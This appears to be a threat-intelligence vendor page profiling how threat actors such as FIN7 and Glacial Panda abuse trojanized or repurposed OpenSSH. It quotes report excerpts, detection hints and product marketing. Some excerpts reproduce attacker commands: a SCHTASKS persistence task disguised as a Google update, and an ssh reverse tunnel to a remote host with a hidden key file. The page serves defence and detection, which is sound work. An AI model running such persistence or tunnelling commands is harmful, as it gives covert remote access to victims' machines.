Loading malware…
OpenSSH is a legitimate SSH implementation that, in the provided reporting, is repeatedly referenced as being modified, trojanized, or repurposed by threat actors for backdoor access and lateral movement. On compromised Linux hosts, Glacial Panda was reported to deploy trojanized OpenSSH tools to log user authentication events and track remote connections to other hosts, a technique CrowdStrike calls ShieldSlide, supporting credential monitoring and lateral movement. Microsoft and other reporting also state that FIN7 used OpenSSH together with Impacket for lateral movement and to deploy Clop ransomware.
The content also describes Windows-focused malicious variants based on OpenSSH. A sample named spl32.exe is identified as a modified and custom-compiled version of OpenSSH sshd.exe. It listens on TCP port 50501, contains a fixed configuration and three hard-coded cryptokey pairs, and is built as a self-contained executable with OpenSSL built in. Upon accepted inbound SFTP connections, it launches WinSAT.exe, described as an unmodified but custom-compiled OpenSSH sftp-server.exe. Additional detection guidance in the content highlights hunting for modified OpenSSH binaries with non-standard PE metadata and for PE files containing strings such as "Microsoft openSSH client" while excluding legitimate "OpenSSH for Windows," as well as binaries embedding OpenSSH private key material such as "-----BEGIN OPENSSH PRIVATE KEY-----." The reporting associates such modified OpenSSH tooling with TRITON-related tradecraft and with FIN7 and Glacial Panda activity depending on the intrusion set and platform.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
"Glacial Panda deploys trojanized OpenSSH tools on compromised Linux hosts to log user authentication events and support lateral movement by tracking remote connections to other hosts in a technique CrowdStrike calls ShieldSlide."
...observed the group using OpenSSH and Impacket to move laterally and deploy Clop ransomware.
Looking for modified OpenSSH binaries with non-standard PE metadata, seen used heavily by TRITON actor
28 distinct techniques documented for this family, organized by ATT&CK tactic.
Before his command-and-control server went dark, he installed OpenSSH and Tailscale on a victim's machine, building a way back in that did not run through the C2 at all.
The Trellix article titled A Flyby on the CFO's Inbox details a sophisticated spear-phishing campaign targeting CFOs and finance executives... Attackers impersonated a Rothschild & Co recruiter, sending emails that led recipients through a deceptive CAPTCHA to download a ZIP file containing a malicious VBS script.
SCHTASKS /CREATE /RU SYSTEM /SC HOURLY ... /TN GoogleUpdateTaskMachine /TR cmd /c FOR /L %N IN () DO (C:\ProgramData\ssh\ssh.exe ... ) Scheduled Task/Job [ T1053 ]
and establishes an SSH backdoor via AdaptixC2 or OpenSSH.
SCHTASKS /CREATE /RU SYSTEM /SC HOURLY ... /TN GoogleUpdateTaskMachine /TR cmd /c FOR /L %N IN () DO (C:\ProgramData\ssh\ssh.exe ... ) Scheduled Task/Job [ T1053 ]
he installed OpenSSH Server and Tailscale, joined the victim's machine to his private Tailscale network, and set up key-based SSH
SCHTASKS /CREATE /RU SYSTEM /SC HOURLY ... /TN GoogleUpdateTaskMachine /TR cmd /c FOR /L %N IN () DO (C:\ProgramData\ssh\ssh.exe ... ) Scheduled Task/Job [ T1053 ]
Credential theft is a primary objective. The group uses various techniques to perform this core function, including dumping the Local Security Authority Subsystem Service (LSASS) memory and exfiltrating the NTDS.dit Active Directory database, and capturing credentials stored in browsers and SSH clients like PuTTY and OpenSSH.
C:\ProgramData\ssh\ssh.exe -o "StrictHostKeyChecking no" root@<remote_ip> -p 443 -R 25369 -NCqf -i "C:\Windows\temp\syslog.txt" ... Remote services:SSH [ T1021 ]
...форвардинг локальних мережевих портів (зокрема, 445, 3389, 22) на віддалений сервер...
...форвардинг локальних мережевих портів (зокрема, 445, 3389, 22) на віддалений сервер...
...несанкціонований віддалений доступ ... забезпечувався за допомогою легітимних програм OPENSSH і TOR, що забезпечували форвардинг локальних мережевих портів... 22...
These tasks launched two disguised executables: operagx.exe, which was actually an OpenSSH daemon... The SSH daemon was configured to listen only on local loopback port 20321
set up key-based SSH and a reverse tunnel. Now he could reach the machine over Tailscale's encrypted mesh with no C2 and no exposed ports... Look for ssh -R reverse tunnels heading to outside hosts.
Reverse tunnel setup with ssh -R (SSH remote port forwarding). Both paths tested.
...за допомогою легітимних програм OPENSSH і TOR, що забезпечували форвардинг локальних мережевих портів...
HAProxy entscheidet anhand der ersten übertragenen Byte an welchen Deamon die Verbindung weitergeleitet werden soll... Im frontend wird eine acl definiert, die per regulärem Ausdruck SSH-1.0* und SSH-2.0* matched und in diesem Fall das backend sshd als Ziel nutzt.
Once the victim clicked the LNK file, the full attack toolkit deployed silently in the background while the real decoy PDF opened to keep the user distracted from the installation.
Legitimate tooling continues to blur the line. Velociraptor, Cloudflared, VSCode Tunnels, AnyDesk, MeshCentral, FreeRDP, PuTTY, OpenSSH, and a long list of legitimate cloud services are all being repurposed for ransomware operations.
5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Legitimate OpenSSH binaries/tools are trojanized and deployed on compromised Linux hosts to log authentication events and facilitate lateral movement by monitoring/leveraging remote connections.
A legitimate remote administration utility abused for lateral movement and remote command execution; in this context, used by FIN7 in operations associated with Clop ransomware deployment.
Legitimate SSH tooling abused for remote access/lateral movement as part of the ransomware deployment chain.
Legitimate SSH tooling referenced in the context of modified Windows OpenSSH binaries and binaries containing hard-coded OpenSSH private key material, associated with TRITON tradecraft.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.